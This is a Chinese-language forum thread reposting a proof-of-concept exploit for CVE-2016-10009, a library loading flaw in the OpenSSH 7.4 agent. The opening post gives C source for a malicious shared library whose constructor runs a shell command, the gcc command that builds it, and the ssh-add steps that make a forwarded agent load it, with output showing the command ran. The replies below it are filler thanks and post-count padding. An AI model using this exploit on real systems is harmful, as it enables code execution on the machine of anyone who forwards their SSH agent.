请选择 进入手机版 | 继续访问电脑版
查看: 1661|回复: 946

[Other] OpenSSH 7.4代理协议任意库加载漏洞

[复制链接]
  • TA的每日心情
    奋斗
    3 天前
  • 签到天数: 551 天

    [LV.9]以坛为家II

    发表于 2016-12-25 14:41:44 | 显示全部楼层 |阅读模式
    CVE-2016-10009

    [C] 纯文本查看 复制代码
    $ cat evil_lib.c
    #include <stdlib.h>
    __attribute__((constructor)) static void run(void) {
      // in case you're loading this via LD_PRELOAD or LD_LIBRARY_PATH,
      // prevent recursion through system()
      unsetenv("LD_PRELOAD");
      unsetenv("LD_LIBRARY_PATH");
      system("id > /tmp/test");
    }
    $ gcc -shared -o evil_lib.so evil_lib.c -fPIC -Wall
    
    Connect to another machine using "ssh -A". Then, on the remote machine:
    
    $ ssh-add -s [...]/evil_lib.so
    Enter passphrase for PKCS#11: [just press enter here]
    SSH_AGENT_FAILURE
    Could not add card: [...]/evil_lib.so
    
    At this point, the command "id > /tmp/test" has been executed on the machine running the ssh agent:
    
    $ cat /tmp/test
    uid=1000(user) gid=1000(user) groups=[...]
    回复

    使用道具 举报

    该用户从未签到

    发表于 2016-12-25 15:28:39 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-12-25 15:34:10 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-12-25 16:28:13 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-12-25 17:00:45 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-3-4 11:35
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2016-12-25 18:27:50 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-3-4 11:35
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2016-12-25 18:44:04 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-12-25 20:20:25 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-12-25 21:41:57 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2015-10-24 10:52
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2016-12-25 22:08:43 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表